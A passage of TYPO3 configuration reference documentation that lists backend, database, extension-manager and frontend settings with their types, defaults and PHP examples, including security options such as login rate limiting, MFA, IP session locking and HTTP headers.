It is interesting to take a look at this file, which also contains values that are not displayed in the Install Tool and therefore cannot be changed easily.

BE - backend configuration

The following configuration variables can be used to configure settings for the TYPO3 backend:

fileadminDir

fileadminDir
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['fileadminDir']
Default
'fileadmin/'

Path to the primary directory of files for editors. This is relative to the public web dir. DefaultStorage will be created with that configuration. Do not access manually but via \TYPO3\CMS\Core\Resource\ResourceFactory::getDefaultStorage().

lockBackendFile

lockBackendFile
Type
string (file path)
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockBackendFile']
Default
"var/lock/LOCK_BACKEND" (Composer mode) | "config/LOCK_BACKEND" (Classic mode)

New in version 13.3

Defines the location of the flag file LOCK_BACKEND, which is used to temporarily restrict backend access to prevent unauthorized changes or when performing critical updates.

lockRootPath

lockRootPath
Type
array of file paths
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath']
Default
[]

These absolute paths are used to evaluate, if paths outside of the project path should be allowed. This restriction also applies for the local driver of the File Abstraction Layer.

This option supports an array of root path prefixes to allow for multiple storages to be listed.

See also the Security bulletin "Path Traversal in TYPO3 File Abstraction Layer Storages".

userHomePath

userHomePath
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['userHomePath']
Default
''

Combined folder identifier of the directory where TYPO3 backend users have their home-dirs. A combined folder identifier looks like this: [storageUid]:[folderIdentifier]. For Example 2:users/. A home for backend user 2 would be: 2:users/2/. Ending slash required!

groupHomePath

groupHomePath
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['groupHomePath']
Default
''

Combined folder identifier of the directory where TYPO3 backend groups have their home-dirs. A combined folder identifier looks like this: [storageUid]:[folderIdentifier]. For example 2:groups/. A home for backend group 1 would be: 2:groups/1/. Ending slash required!

userUploadDir

userUploadDir
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['userUploadDir']
Default
''

Suffix to the user home dir which is what gets mounted in TYPO3. For example if the user dir is ../123_user/ and this value is /upload then ../123_user/upload gets mounted.

warning_email_addr

warning_email_addr
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_email_addr']
Default
''

Email address that will receive notifications whenever an attempt to login to the Install Tool is made. This address will also receive warnings whenever more than 3 failed backend login attempts (regardless of user) are detected within an hour.

Have also a look into the security guidelines.

warning_mode

warning_mode
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['warning_mode']
Default
0
Allowed values
1 0: Default: Do not send notification-emails upon backend-login 1: Send a notification-email every time a backend user logs in 2: Send a notification-email every time an admin backend user logs in

Send emails to warning_email_addr upon backend-login

Have also a look into the security guidelines.

passwordReset

passwordReset
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordReset']
Default
true

Enable password reset functionality on the backend login for TYPO3 Backend users. Can be disabled for systems where only LDAP or OAuth login is allowed.

Password reset will then still work on CLI and for admins in the backend.

passwordResetForAdmins

passwordResetForAdmins
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordResetForAdmins']
Default
true

Enable password reset functionality for TYPO3 Administrators. This will affect all places such as backend login or CLI. Disable this option for increased security.

requireMfa

requireMfa
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['requireMfa']
Default
0
Allowed values
0-4
0:
Default: Do not require multi-factor authentication
1:
Require multi-factor authentication for all users
2:
Require multi-factor authentication only for non-admin users
3:
Require multi-factor authentication only for admin users
4:
Require multi-factor authentication only for system maintainers

Define users which should be required to set up multi-factor authentication.

recommendedMfaProvider

recommendedMfaProvider
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['recommendedMfaProvider']
Default
'totp'

Set the identifier of the multi-factor authentication provider, recommended for all users.

loginRateLimit

loginRateLimit
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimit']
Default
5

Maximum amount of login attempts for the time interval in [BE][loginRateLimitInterval], before further login requests will be denied. Setting this value to "0" will disable login rate limiting.

loginRateLimitInterval

loginRateLimitInterval
Type
string, PHP relative format
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitInterval']
Default
'15 minutes'
Allowed values
'1 minute', '5 minutes', '15 minutes', '30 minutes'

Allowed time interval for the configured rate limit. Individual values using PHP relative formats can be set in config/system/additional.php.

loginRateLimitIpExcludeList

loginRateLimitIpExcludeList
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['loginRateLimitIpExcludeList']
Default
''

IP addresses (with *-wildcards) that are excluded from rate limiting. Syntax similar to [BE][IPmaskList]. An empty value disables the exclude list check.

lockIP

lockIP
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIP']
Default
0
Allowed values
0-4
0:
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first part of the editors IPv4 address (for example "192.") as part of the session locking of Backend Users
2:
Use the first two parts of the editors IPv4 address (for example "192.168") as part of the session locking of Backend Users
3:
Use the first three parts of the editors IPv4 address (for example "192.168.13") as part of the session locking of Backend Users
4:
Use the editors full IPv4 address (for example "192.168.13.84") as part of the session locking of Backend Users (highest security)

Session IP locking for backend users. See [FE][lockIP] for details.

Have also a look into the security guidelines.

lockIPv6

lockIPv6
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockIPv6']
Default
0
Allowed values
0-8
0:
Default: Do not lock Backend User sessions to their IP address at all
1:
Use the first block (16 bits) of the editors IPv6 address (for example "2001:") as part of the session locking of Backend Users
2:
Use the first two blocks (32 bits) of the editors IPv6 address (for example "2001:0db8") as part of the session locking of Backend Users
3:
Use the first three blocks (48 bits) of the editors IPv6 address (for example "2001:0db8:85a3") as part of the session locking of Backend Users
4:
Use the first four blocks (64 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3") as part of the session locking of Backend Users
5:
Use the first five blocks (80 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319") as part of the session locking of Backend Users
6:
Use the first six blocks (96 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e") as part of the session locking of Backend Users
7:
Use the first seven blocks (112 bits) of the editors IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370") as part of the session locking of Backend Users
8:
Use the editors full IPv6 address (for example "2001:0db8:85a3:08d3:1319:8a2e:0370:7344") as part of the session locking of Backend Users (highest security)

Session IPv6 locking for backend users. See [FE][lockIPv6] for details.

sessionTimeout

sessionTimeout
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['sessionTimeout']
Default
28800

Session time out for backend users in seconds. The value must be at least 180 to avoid side effects. Default is 28.800 seconds = 8 hours.

IPmaskList

IPmaskList
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['IPmaskList']
Default
''

Lets you define a list of IP addresses (with *-wildcards) that are the ONLY ones allowed access to ANY backend activity. On error an error header is sent and the script exits. Works like IP masking for users configurable through TSconfig.

See syntax for that (or look up syntax for the function \TYPO3\CMS\Core\Utility\GeneralUtility::cmpIP())

Have also a look into the security guidelines.

lockSSL

lockSSL
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL']
Default
false

If set, the backend can only be operated from an SSL-encrypted connection (https). A redirect to the SSL version of a URL will happen when a user tries to access non-https admin-urls

Have also a look into the security guidelines.

lockSSLPort

lockSSLPort
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSLPort']
Default
0

Use a non-standard HTTPS port for lockSSL. Set this value if you use lockSSL and the HTTPS port of your webserver is not 443.

cookieDomain

cookieDomain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieDomain']
Default
''

Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<typo3ConfVars_sys_cookieDomain> but only for BE cookies. If empty, $TYPO3_CONF_VARS[SYS][cookieDomain] value will be used.

cookieName

cookieName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieName']
Default
'be_typo_user'

Set the name for the cookie used for the back-end user session

cookieSameSite

cookieSameSite
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['cookieSameSite']
Default
'strict'
Allowed values
'lax', 'strict', 'none'
lax:
Cookies set by TYPO3 are only available for the current site, third-party integrations are not allowed to read cookies, except for links and simple HTML forms
strict:
Cookies sent by TYPO3 are only available for the current site, never shared to other third-party packages
none:
Allow cookies set by TYPO3 to be sent to other sites as well, please note - this only works with HTTPS connections

Indicates that the cookie should send proper information where the cookie can be shared (first-party cookies vs. third-party cookies) in TYPO3 Backend.

showRefreshLoginPopup

showRefreshLoginPopup
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['showRefreshLoginPopup']
Default
false

If set, the Ajax relogin will show a real popup window for relogin after the count down. Some auth services need this as they add custom validation to the login form. If its not set, the Ajax relogin will show an inline relogin window.

adminOnly

adminOnly
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly']
Default
0
Allowed values

-1 - +2

-1:
Total shutdown for maintenance purposes
0:
Default: All users can access the TYPO3 Backend
1:
Only administrators / system maintainers can log in, CLI interface is disabled as well
2:
Only administrators / system maintainers have access to the TYPO3 Backend, CLI executions are allowed as well

Restricts access to the TYPO3 Backend - especially useful when doing maintenance or updates

disable_exec_function

disable_exec_function
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['disable_exec_function']
Default
false

Dont use exec() function (except for ImageMagick which is disabled by [GFX][im]<typo3ConfVars_gfx_im> =0). If set, all file operations are done by the default PHP-functions. This is necessary under Windows! On Unix the system commands by exec() can be used, unless this is disabled.

compressionLevel

compressionLevel
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['compressionLevel']
Default
0
Range
0-9

Determines output compression of BE output. Makes output smaller but slows down the page generation depending on the compression level. Requires

  • zlib in your PHP installation and
  • special rewrite rules for .css.gz and .js.gz (before version 12.0 the extension was .css.gzip and .js.gzip)

Please see EXT:install/Resources/Private/FolderStructureTemplateFiles/root-htaccess for an example. Range 1-9, where 1 is least compression and 9 is greatest compression. true as value will set the compression based on the PHP default settings (usually 5 ). Suggested and most optimal value is 5.

installToolPassword

installToolPassword
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['installToolPassword']
Default
''

The hash of the install tool password.

defaultPermissions

defaultPermissions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions']
Default
[]

This option defines the default page permissions (show, edit, delete, new, editcontent). The following order applies:

  • defaultPermissions from \TYPO3\CMS\Core\DataHandling\PagePermissionAssembler
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] (the option described here)
  • Page TSconfig via TCEMAIN.permissions

Example (which reflects the default permissions):

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] = [
    'user' => 'show,edit,delete,new,editcontent',
    'group' => 'show,edit,new,editcontent',
    'everybody' => '',
];
Copied!

If you want to deviate from the default permissions, for example by changing the everybody key, you only need to modify the key you wish to change:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultPermissions'] = [
    'everybody' => 'show',
];
Copied!

defaultUC

defaultUC
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC']
Default
[]

Defines the default user settings. The following order applies:

  • uc_default in \TYPO3\CMS\Core\Authentication\BackendUserAuthentication
  • $GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC'] (the option described here)
  • User TSconfig via setup

Example (which reflects the default user settings):

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['BE']['defaultUC'] = [
    'emailMeAtLogin' => 0,
    'titleLen' => 50,
    'edit_RTE' => '1',
    'edit_docModuleUpload' => '1',
];
Copied!

Visit the setup chapter of the User TSconfig guide for a list of all available options.

customPermOptions

customPermOptions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['customPermOptions']
Default
[]

Array with sets of custom permission options. Syntax is:

config/system/additional.php | typo3conf/system/additional.php
'key' => array(
    'header' => 'header string, language split',
    'items' => array(
       'key' => array('label, language split','icon reference', 'Description text, language split')
    )
)
Copied!

Keys cannot contain characters any of the following characters: :|,.

fileDenyPattern

fileDenyPattern
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['fileDenyPattern']
Default
''

A perl-compatible and JavaScript-compatible regular expression (without delimiters /) that - if it matches a filename - will deny the file upload/rename or whatever.

For security reasons, files with multiple extensions have to be denied on an Apache environment with mod_alias, if the filename contains a valid php handler in an arbitrary position. Also, ".htaccess" files have to be denied. Matching is done case-insensitive.

Default value is stored in class constant \TYPO3\CMS\Core\Resource\Security\FileNameValidator::FILE_DENY_PATTERN_DEFAULT.

Have also a look into the security guidelines.

flexformForceCDATA

flexformForceCDATA
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['flexformForceCDATA']

Changed in version 13.0

This option was removed with TYPO3 v13.0.

versionNumberInFilename

versionNumberInFilename
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['versionNumberInFilename']
Default
false

If enabled, included CSS and JS files loaded in the TYPO3 Backend will have the timestamp embedded in the filename, ie. filename.1269312081.js . This will make browsers and proxies reload the files if they change (thus avoiding caching issues).

IMPORTANT: This feature requires extra .htaccess rules to work (please refer to the typo3/sysext/install/Resources/Private/FolderStructureTemplateFiles/root-htaccess file shipped with TYPO3).

If disabled the last modification date of the file will be appended as a query-string.

debug

debug
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['debug']
Default
false

If enabled, the login refresh is disabled and pageRenderer is set to debug mode. Furthermore the fieldname is appended to the label of fields. Use this to debug the backend only!

Disables the $GLOBALS[TYPO3_CONF_VARS][BE][compressionLevel] setting.

HTTP

HTTP
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['HTTP']

Set HTTP headers to be sent with each backend request. Other keys than ['Response']['Headers'] are ignored.

The default configuration:

[
    'Response' => [
        'Headers' => [
            'clickJackingProtection' => 'X-Frame-Options: SAMEORIGIN',
            'strictTransportSecurity' => 'Strict-Transport-Security: max-age=31536000',
            'avoidMimeTypeSniffing' => 'X-Content-Type-Options: nosniff',
            'referrerPolicy' => 'Referrer-Policy: strict-origin-when-cross-origin',
        ],
    ],
]
Copied!

passwordHashing

passwordHashing
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']

className

className
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['className']
Default
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class

Allowed values:

\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class
Good password hash mechanism. Used by default if available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2idPasswordHash::class
Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\BcryptPasswordHash::class
Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Pbkdf2PasswordHash::class
Fallback hash mechanism if argon and bcrypt are not available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\PhpassPasswordHash::class
Fallback hash mechanism if none of the above are available.

options

options
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordHashing']['options']
Default
[]

Special settings for specific hashes. See Available hash algorithms for the different options depending on the algorithm.

passwordPolicy

passwordPolicy
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['passwordPolicy']
Default
default

Defines the password policy in backend context.

stylesheets

stylesheets
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['stylesheets']
Default
default

Load additional CSS files for the TYPO3 backend interface. This setting can be set per site or within an extension's ext_localconf.php.

Examples:

Add a specific stylesheet:

$GLOBALS['TYPO3_CONF_VARS']['BE']['stylesheets']['my_extension']
    = 'EXT:my_extension/Resources/Public/Css/myfile.css';
Copied!

Add all stylesheets from a folder:

$GLOBALS['TYPO3_CONF_VARS']['BE']['stylesheets']['my_extension']
    = 'EXT:my_extension/Resources/Public/Css/';
Copied!

contentSecurityPolicyReportingUrl

contentSecurityPolicyReportingUrl
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl']
Default
''

Configure the reporting HTTP endpoint of Content Security Policy violations in the backend; if it is empty, the TYPO3 endpoint will be used.

Setting this configuration to '0' disables Content Security Policy reporting. If the endpoint is still called then, the server-side process responds with a 403 HTTP error message.

If defined, the site-specific configuration in config/sites/my_site/csp.yaml takes precedence over the global configuration.

config/system/additional.php
// Set a custom endpoint for Content Security Policy reporting
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl']
    = 'https://csp-violation.example.org/';
Copied!
config/system/additional.php
// Disables Content Security Policy reporting
$GLOBALS['TYPO3_CONF_VARS']['BE']['contentSecurityPolicyReportingUrl'] = '0';
Copied!

Use $GLOBALS['TYPO3_CONF_VARS']['FE']['contentSecurityPolicyReportingUrl'] to configure Content Security Policy reporting for the frontend.

entryPoint

entryPoint
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['BE']['entryPoint']
Default
'/typo3'

New in version 13.0

A custom backend entry point can be configured by specifying a custom URL path or domain name.

Example:
$GLOBALS['TYPO3_CONF_VARS']['BE']['entryPoint'] = '/my-specific-path';
Copied!

DB - Database connections

The following configuration variables can be used to configure settings for the connection to the database:

additionalQueryRestrictions

additionalQueryRestrictions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions']
Default
[]

It is possible to add additional query restrictions by adding class names as key to $GLOBALS['TYPO3_CONF_VARS']['DB']['additionalQueryRestrictions'] . Have a look into the chapter Custom restrictions for details.

Connections

Connections
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']

One or more database connections can be configured under the Connections key. There must be at least one configuration with the Default key, in which the default database is configured, for example:

config/system/settings.php | typo3conf/system/settings.php
'Connections' => [
    'Default' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'typo3_database',
        'host' => '127.0.0.1',
        'password' => 'typo3',
        'port' => 3306,
        'user' => 'typo3',
    ],
]
Copied!

It is possible to swap out tables from the default database and use a specific setup (for instance, for caching). For example, the following snippet could be used to swap the be_sessions table to another database or even another database server:

config/system/settings.php | typo3conf/system/settings.php
'Connections' => [
    'Default' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'typo3_database',
        'host' => '127.0.0.1',
        'password' => '***',
        'port' => 3306,
        'user' => 'typo3',
    ],
    'Sessions' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'sessions_dbname',
        'host' => 'sessions_host',
        'password' => '***',
        'port' => 3306,
        'user' => 'some_user',
    ],
],
'TableMapping' => [
    'be_sessions' => 'Sessions',
]
Copied!

charset

charset
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['charset']
Default
'utf8'

The charset used when connecting to the database. Can be used with MySQL/MariaDB and PostgreSQL.

dbname

dbname
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['dbname']

Name of the database/schema to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

defaultTableOptions

defaultTableOptions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['defaultTableOptions']

Defines the charset and collation options when new tables are created (MySQL/MariaDB only):

config/system/settings.php | typo3conf/system/settings.php
'Connections' => [
    'Default' => [
        'driver' => 'mysqli',
        // ...
        'charset' => 'utf8mb4',
        'defaultTableOptions' => [
            'charset' => 'utf8mb4',
            'collation' => 'utf8mb4_unicode_ci',
        ],
    ],
]
Copied!

For new installations the above is the default.

driver

driver
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['driver']

The built-in driver implementation to use. The following drivers are currently available:

mysqli
A MySQL/MariaDB driver that uses the mysqli extension.
pdo_mysql
A MySQL/MariaDB driver that uses the pdo_mysql PDO extension.
pdo_pgsql
A PostgreSQL driver that uses the pdo_pgsql PDO extension.
pdo_sqlite
An SQLite driver that uses the pdo_sqlite PDO extension.

host

host
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['host']

Hostname or IP address of the database to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

password

password
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['password']

Password to use when connecting to the database.

path

path
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['path']

The filesystem path to the SQLite database file.

port

port
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['port']

Port of the database to connect to. Can be used with MySQL/MariaDB and PostgreSQL.

tableoptions

tableoptions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['tableoptions']
Default
[]

Deprecated since version 13.4

Since TYPO3 v11 the tableoptions keys were silently migrated to defaultTableOptions, which is the proper Doctrine DBAL connection option for MariaDB and MySQL.

Furthermore, Doctrine DBAL 3.x switched from using the array key collate to collation, ignoring the old array key with Doctrine DBAL 4.x. This was silently migrated by TYPO3, too.

These silent migrations are now deprecated in favor of using the final array keys.

Migration:

Review settings.php and additional.php and adapt the deprecated configuration by renaming affected array keys.

 'Connections' => [
     'Default' => [
-        'tableoptions' => [
+        'defaultTableOptions' => [
-            'collate' => 'utf8mb4_unicode_ci',
+            'collation' => 'utf8mb4_unicode_ci',
         ],
     ],
 ],
Copied!

unix_socket

unix_socket
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['unix_socket']

Name of the socket used to connect to the database. Can be used with MySQL/MariaDB.

user

user
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections'][<connection_name>]['user']

Username to use when connecting to the database.

TableMapping

TableMapping
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['DB']['TableMapping']
Default
[]

When a TYPO3 table is swapped to another database (either on the same host or another host) this table must be mapped to the other database.

For example, the be_sessions table should be swapped to another database:

config/system/settings.php | typo3conf/system/settings.php
'Connections' => [
    'Default' => [
        // ...
    ],
    'Sessions' => [
        'charset' => 'utf8mb4',
        'driver' => 'mysqli',
        'dbname' => 'sessions_dbname',
        'host' => 'sessions_host',
        'password' => '***',
        'port' => 3306,
        'user' => 'some_user',
    ],
],
'TableMapping' => [
    'be_sessions' => 'Sessions',
]
Copied!

EXT - Extension manager configuration

The following configuration variables can be used to configure settings for the Extension manager:

excludeForPackaging

excludeForPackaging
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['EXT']['excludeForPackaging']
Default
'(?:\\.(?!htaccess$).*|.*~|.*\\.swp|.*\\.bak|node_modules|bower_components)'

List of directories and files which will not be packaged into extensions nor taken into account otherwise by the Extension Manager. Perl regular expression syntax!

FE - frontend configuration

The following configuration variables can be used to configure settings for the TYPO3 frontend:

addAllowedPaths

addAllowedPaths
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['addAllowedPaths']
Default
''

Additional relative paths where resources may be placed. Used in some frontend-related places for images and TypoScript. It should be prefixed with /. If not, then any path whose the first part is like this path will match. That is, myfolder/ , myarchive will match, for example, myfolder/, myarchive/, myarchive_one/, myarchive_2/, etc.

No check is done whether this directory actually exists in the root folder of the site.

debug

debug
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['debug']
Default
false

If enabled, the total parse time of the page is added as HTTP response header X-TYPO3-Parsetime. This can also be enabled/disabled via the TypoScript option config.debug = 0.

compressionLevel

compressionLevel
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['compressionLevel']
Default
0

Determines output compression of FE output. Makes output smaller but slows down the page generation depending on the compression level. Requires

  • zlib in your PHP installation and
  • special rewrite rules for .css.gz and .js.gz (before version 12.0 the extension was .css.gzip and .js.gzip)

Please see EXT:install/Resources/Private/FolderStructureTemplateFiles/root-htaccess for an example. Range 1-9, where 1 is least compression and 9 is greatest compression. true as value will set the compression based on the PHP default settings (usually 5 ). Suggested and most optimal value is 5.

pageNotFoundOnCHashError

pageNotFoundOnCHashError
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['pageNotFoundOnCHashError']
Default
true

If TRUE, a page not found call is made when cHash evaluation error occurs, otherwise caching is disabled and page output is displayed.

pageUnavailable_force

pageUnavailable_force
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['pageUnavailable_force']
Default
false

If TRUE, every frontend page is shown as "unavailable". If the client matches [SYS][devIPmask], the page is shown as normal. This is useful during temporary site maintenance.

addRootLineFields

addRootLineFields
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['addRootLineFields']

Changed in version 13.2

The option $GLOBALS['TYPO3_CONF_VARS']['FE']['addRootLineFields'] has been removed without replacement with TYPO3 13.2.

Relations of table pages are now always resolved with nearly no performance penalty in comparison to not having them resolved.

checkFeUserPid

checkFeUserPid
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['checkFeUserPid']
Default
true

If set, the pid of fe_user logins must be sent in the form as the field pid and then the user must be located in the pid. If you unset this, you should change the fe_users username eval-flag uniqueInPid to unique in $TCA.

This will do $TCA[fe_users][columns][username][config][eval]= nospace,lower,required,unique;

loginRateLimit

loginRateLimit
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimit']
Default
5

Maximum amount of login attempts for the time interval in [FE][loginRateLimitInterval], before further login requests will be denied. Setting this value to "0" will disable login rate limiting.

loginRateLimitInterval

loginRateLimitInterval
Type
string, PHP relative format
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitInterval']
Default
'15 minutes'
allowedValues
'1 minute', '5 minutes', '15 minutes', '30 minutes'

Allowed time interval for the configured rate limit. Individual values using PHP relative formats can be set in config/system/additional.php.

loginRateLimitIpExcludeList

loginRateLimitIpExcludeList
Type
string
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['loginRateLimitIpExcludeList']
Default
''

IP addresses (with *-wildcards) that are excluded from rate limiting. Syntax similar to [BE][IPmaskList] and [BE][loginRateLimitIpExcludeList]. An empty value disables the exclude list check.

lockIP

lockIP
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIP']
Default
0
allowedValues
1 0 Default Do not lock Frontend User sessions to their IP address at all 1 Use the first part of the visitors IPv4 address (for example "192.") as part of the session locking of Frontend Users 2 Use the first two parts of the visitors IPv4 address (for example "192.168") as part of the session locking of Frontend Users 3 Use the first three parts of the visitors IPv4 address (for example "192.168.13") as part of the session locking of Frontend Users 4 Use the visitors full IPv4 address (for example "192.168.13.84") as part of the session locking of Frontend Users (highest security)

If activated, Frontend Users are locked to (a part of) their public IP ( $_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an IPv4-address. Enhances security but may throw off users that may change IP during their session (in which case you can lower it). The integer indicates how many parts of the IP address to include in the check for the session.

Have also a look into the security guidelines.

lockIPv6

lockIPv6
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['lockIPv6']
Default
0
allowedValues
1 0 Default: Do not lock Backend User sessions to their IP address at all 1 Use the first block (16 bits) of the editors IPv6 address (for example "2001") as part of the session locking of Backend Users 2 Use the first two blocks (32 bits) of the editors IPv6 address (for example "20010db8") as part of the session locking of Backend Users 3 Use the first three blocks (48 bits) of the editors IPv6 address (for example "20010db885a3") as part of the session locking of Backend Users 4 Use the first four blocks (64 bits) of the editors IPv6 address (for example "20010db885a308d3") as part of the session locking of Backend Users 5 Use the first five blocks (80 bits) of the editors IPv6 address (for example "20010db885a308d31319") as part of the session locking of Backend Users 6 Use the first six blocks (96 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e") as part of the session locking of Backend Users 7 Use the first seven blocks (112 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e0370") as part of the session locking of Backend Users 8 Use the visitors full IPv6 address (for example "20010db885a308d313198a2e03707344") as part of the session locking of Backend Users (highest security)

If activated, Frontend Users are locked to (a part of) their public IP ( $_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an IPv6-address. Enhances security but may throw off users that may change IP during their session (in which case you can lower it). The integer indicates how many parts of the IP address to include in the check for the session.

lifetime

lifetime
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['lifetime']
Default
0

If greater than 0 and the option permalogin is greater or equal 0, the cookie of FE users will have a lifetime of the number of seconds this value indicates. Otherwise it will be a session cookie (deleted when browser is shut down). Setting this value to 604800 will result in automatic login of FE users during a whole week, 86400 will keep the FE users logged in for a day.

sessionTimeout

sessionTimeout
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionTimeout']
Default
6000

Server side session timeout for frontend users in seconds. Will be overwritten by the lifetime property if the lifetime is longer.

sessionDataLifetime

sessionDataLifetime
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['sessionDataLifetime']
Default
86400

If greater than 0, the session data of an anonymous session will timeout and be removed after the number of seconds given (86400 seconds represents 24 hours).

permalogin

permalogin
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['permalogin']
Default
0
-1
Permanent login for FE users is disabled
0
By default permalogin is disabled for FE users but can be enabled by a form control in the login form.
1
Permanent login is by default enabled but can be disabled by a form control in the login form.
2
Permanent login is forced to be enabled.

In any case, permanent login is only possible if [FE][lifetime] lifetime is greater than 0.

cookieDomain

cookieDomain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieDomain']
Default
''

